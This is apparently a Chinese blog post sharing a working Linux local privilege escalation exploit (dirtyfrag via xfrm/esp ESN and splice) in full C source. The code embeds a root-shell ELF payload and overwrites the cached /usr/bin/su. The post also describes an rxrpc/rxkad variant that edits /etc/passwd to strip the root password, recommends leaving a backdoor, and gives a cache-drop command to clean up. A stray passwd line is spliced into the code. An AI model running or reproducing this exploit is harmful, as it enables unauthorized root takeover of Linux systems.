当前位置:首页>Linux>no-CVE linux又现新提权漏洞, dirtyfrag xfrm/esp复现复盘, rxrpc/rxkad LPE有点翻车, 下次细聊

no-CVE linux又现新提权漏洞, dirtyfrag xfrm/esp复现复盘, rxrpc/rxkad LPE有点翻车, 下次细聊

  • 2026-10-11 08:14:27
no-CVE linux又现新提权漏洞, dirtyfrag xfrm/esp复现复盘, rxrpc/rxkad LPE有点翻车, 下次细聊
很长时间没好好看到能够直接用archlinux实机复现的漏洞了,这次主要涉及xfrm/esp和rxrpc/rxkad LPE两个模块的提权,先放源码:
#define _GNU_SOURCE#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#include<fcntl.h>#include<errno.h>#include<sched.h>#include<sys/socket.h>#include<sys/uio.h>#include<sys/ioctl.h>#include<sys/wait.h>#include<netinet/in.h>#include<arpa/inet.h>#include<net/if.h>#include<linux/if.h>#include<linux/netlink.h>#include<linux/rtnetlink.h>#include<linux/xfrm.h>#ifndef UDP_ENCAP#define UDP_ENCAP 100#endif#ifndef UDP_ENCAP_ESPINUDP#define UDP_ENCAP_ESPINUDP 2#endif#ifndef SOL_UDP#define SOL_UDP 17#endif#define ENC_PORT         4500#define SEQ_VAL          200#define REPLAY_SEQ       100#define TARGET_PATH      "/usr/bin/su"#define PAYLOAD_LEN      192static const uint8_t shell_elf[PAYLOAD_LEN] = {        0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,        0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,        0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,        0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,        0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,        0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,        0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,        0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,        0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,        0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,        0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,        0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,};staticvoidwrite_proc(constchar *path, constchar *buf){        int fd = open(path, O_WRONLY);        if (fd >= 0) {                write(fd, buf, strlen(buf));                close(fd);        }}staticvoidsetup_userns_netns(void){        uid_t uid = getuid();        gid_t gid = getgid();        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {                perror("unshare");                exit(1);        }        write_proc("/proc/self/setgroups", "deny");        char map[64];        snprintf(map, sizeof(map), "0 %u 1", uid);        write_proc("/proc/self/uid_map", map);        snprintf(map, sizeof(map), "0 %u 1", gid);        write_proc("/proc/self/gid_map", map);        int s = socket(AF_INET, SOCK_DGRAM, 0);        if (s >= 0) {                struct ifreq ifr = {0};                strcpy(ifr.ifr_name, "lo");                ioctl(s, SIOCGIFFLAGS, &ifr);                ifr.ifr_flags |= IFF_UP | IFF_RUNNING;                ioctl(s, SIOCSIFFLAGS, &ifr);         root:x:0:0:root:/root:/bin/bash       close(s);        }}staticintadd_xfrm_sa(uint32_t spi, uint32_t seqhi){        int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);        if (sk < 0) return -1;        struct sockaddr_nl nl = { .nl_family = AF_NETLINK };        bind(sk, (struct sockaddr*)&nl, sizeof(nl));        char buf[4096] = {0};        struct nlmsghdr *nlh = (struct nlmsghdr *)buf;        nlh->nlmsg_type = XFRM_MSG_NEWSA;        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;        nlh->nlmsg_pid = getpid();        nlh->nlmsg_seq = 1;        nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));        struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);        xs->id.daddr.a4 = inet_addr("127.0.0.1");        xs->id.spi = htonl(spi);        xs->id.proto = IPPROTO_ESP;        xs->saddr.a4 = inet_addr("127.0.0.1");        xs->family = AF_INET;        xs->mode = XFRM_MODE_TRANSPORT;        xs->replay_window = 0;        xs->reqid = 0x1234;        xs->flags = XFRM_STATE_ESN;        xs->lft.soft_byte_limit = xs->lft.hard_byte_limit = (uint64_t)-1;        xs->lft.soft_packet_limit = xs->lft.hard_packet_limit = (uint64_t)-1;        xs->sel.family = AF_INET;        xs->sel.prefixlen_d = xs->sel.prefixlen_s = 32;        xs->sel.daddr.a4 = xs->sel.saddr.a4 = inet_addr("127.0.0.1");        // Add XFRMA_ALG_AUTH_TRUNC        char auth_buf[sizeof(struct xfrm_algo_auth) + 32] = {0};        struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)auth_buf;        strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);        aa->alg_key_len = 32 * 8;        aa->alg_trunc_len = 128;        memset(aa->alg_key, 0xAA, 32);        struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));        rta->rta_type = XFRMA_ALG_AUTH_TRUNC;        rta->rta_len = RTA_LENGTH(sizeof(auth_buf));        memcpy(RTA_DATA(rta), auth_buf, sizeof(auth_buf));        nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);        // Add XFRMA_ALG_CRYPT        char crypt_buf[sizeof(struct xfrm_algo) + 16] = {0};        struct xfrm_algo *ea = (struct xfrm_algo *)crypt_buf;        strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);        ea->alg_key_len = 16 * 8;        memset(ea->alg_key, 0xBB, 16);        rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));        rta->rta_type = XFRMA_ALG_CRYPT;        rta->rta_len = RTA_LENGTH(sizeof(crypt_buf));        memcpy(RTA_DATA(rta), crypt_buf, sizeof(crypt_buf));        nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);        // Add XFRMA_ENCAP        struct xfrm_encap_tmpl enc = {                .encap_type = UDP_ENCAP_ESPINUDP,                .encap_sport = htons(ENC_PORT),                .encap_dport = htons(ENC_PORT)        };        rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));        rta->rta_type = XFRMA_ENCAP;        rta->rta_len = RTA_LENGTH(sizeof(enc));        memcpy(RTA_DATA(rta), &enc, sizeof(enc));        nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);        // Add XFRMA_REPLAY_ESN_VAL        char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4] = {0};        struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;        esn->bmp_len = 1;        esn->seq = REPLAY_SEQ;        esn->seq_hi = seqhi;        esn->replay_window = 32;        rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));        rta->rta_type = XFRMA_REPLAY_ESN_VAL;        rta->rta_len = RTA_LENGTH(sizeof(esn_buf));        memcpy(RTA_DATA(rta), esn_buf, sizeof(esn_buf));        nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);        send(sk, nlh, nlh->nlmsg_len, 0);        char rbuf[4096];        recv(sk, rbuf, sizeof(rbuf), 0);        close(sk);        return 0;}staticintdo_one_write(constchar *path, off_t offset, uint32_t spi){        int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);        if (sk_recv < 0) return -1;        int one = 1;        setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));        struct sockaddr_in sa_d = {                .sin_family = AF_INET,                .sin_port = htons(ENC_PORT),                .sin_addr = { inet_addr("127.0.0.1") },        };        bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d));        int encap = UDP_ENCAP_ESPINUDP;        if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {                perror("setsockopt UDP_ENCAP");                close(sk_recv);                return -1;        }        int sk_send = socket(AF_INET, SOCK_DGRAM, 0);        if (sk_send < 0) { close(sk_recv); return -1; }        connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d));        int file_fd = open(path, O_RDONLY);        if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }        int pfd[2];        if (pipe(pfd) < 0) {                close(file_fd); close(sk_send); close(sk_recv);                return -1;        }        uint8_t hdr[24];        *(uint32_t*)hdr = htonl(spi);        *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);        memset(hdr + 8, 0xCC, 16);        struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };        if (vmsplice(pfd[1], &iov_h, 1, 0) != sizeof(hdr)) {                close(file_fd); close(pfd[0]); close(pfd[1]);                close(sk_send); close(sk_recv);                return -1;        }        off_t off = offset;        splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);        splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);        usleep(150 * 1000);        close(file_fd); close(pfd[0]); close(pfd[1]);        close(sk_send); close(sk_recv);        return 0;}intmain(void){        printf("[*] Setting up user namespace...\n");        setup_userns_netns();        usleep(100 * 1000);        printf("[*] Installing %d XFRM SAs...\n", PAYLOAD_LEN / 4);        for (int i = 0; i < PAYLOAD_LEN / 4; i++) {                uint32_t spi = 0xDEADBE10 + i;                uint32_t seqhi = ((uint32_t)shell_elf[i*4] << 24) |                                ((uint32_t)shell_elf[i*4+1] << 16) |                                ((uint32_t)shell_elf[i*4+2] << 8) |                                shell_elf[i*4+3];                if (add_xfrm_sa(spi, seqhi) < 0) {                        printf("[-] Failed to add SA #%d\n", i);                        return 1;                }        }        printf("[*] Writing payload to %s...\n", TARGET_PATH);        for (int i = 0; i < PAYLOAD_LEN / 4; i++) {                uint32_t spi = 0xDEADBE10 + i;                if (do_one_write(TARGET_PATH, i * 4, spi) < 0) {                        printf("[-] Write #%d failed\n", i);                        return 1;                }        }        printf("[+] Success! Executing patched su...\n");        execl(TARGET_PATH, TARGET_PATH, NULL);        perror("execl");        return 1;}
xfrm/esp与CVE-2026-31431 copy fail使用起来相似度较高一些:

CVE-2026-31431 程序复现

sudopacman,公众号:Sakana网络安全CVE-2026-31431 copy fail内核漏洞环境搭建全记录
完成后推荐及时以root用户直接删除缓存, 避免多余的su root登陆:
echo 3 > /proc/sys/vm/drop_caches

rxrpc/rxkad LPE比较麻烦,路经是计算/etc/passwd配置文件的偏移,比较吃系统配置,修改原理是尝试将密码的shadow映射去掉,改成自己的密码,但是不同系统偏移好像不太一样,如果错误的话su root就不可用了,使用前记得给自己留个后门,实在不行xfrm/esp提权回root改/etc/passwd配置文件. 这里留个/etc/passwd配置文件通用的root配置:
root:x:0:0:root:/root:/usr/bin/bash

最新文章

随机文章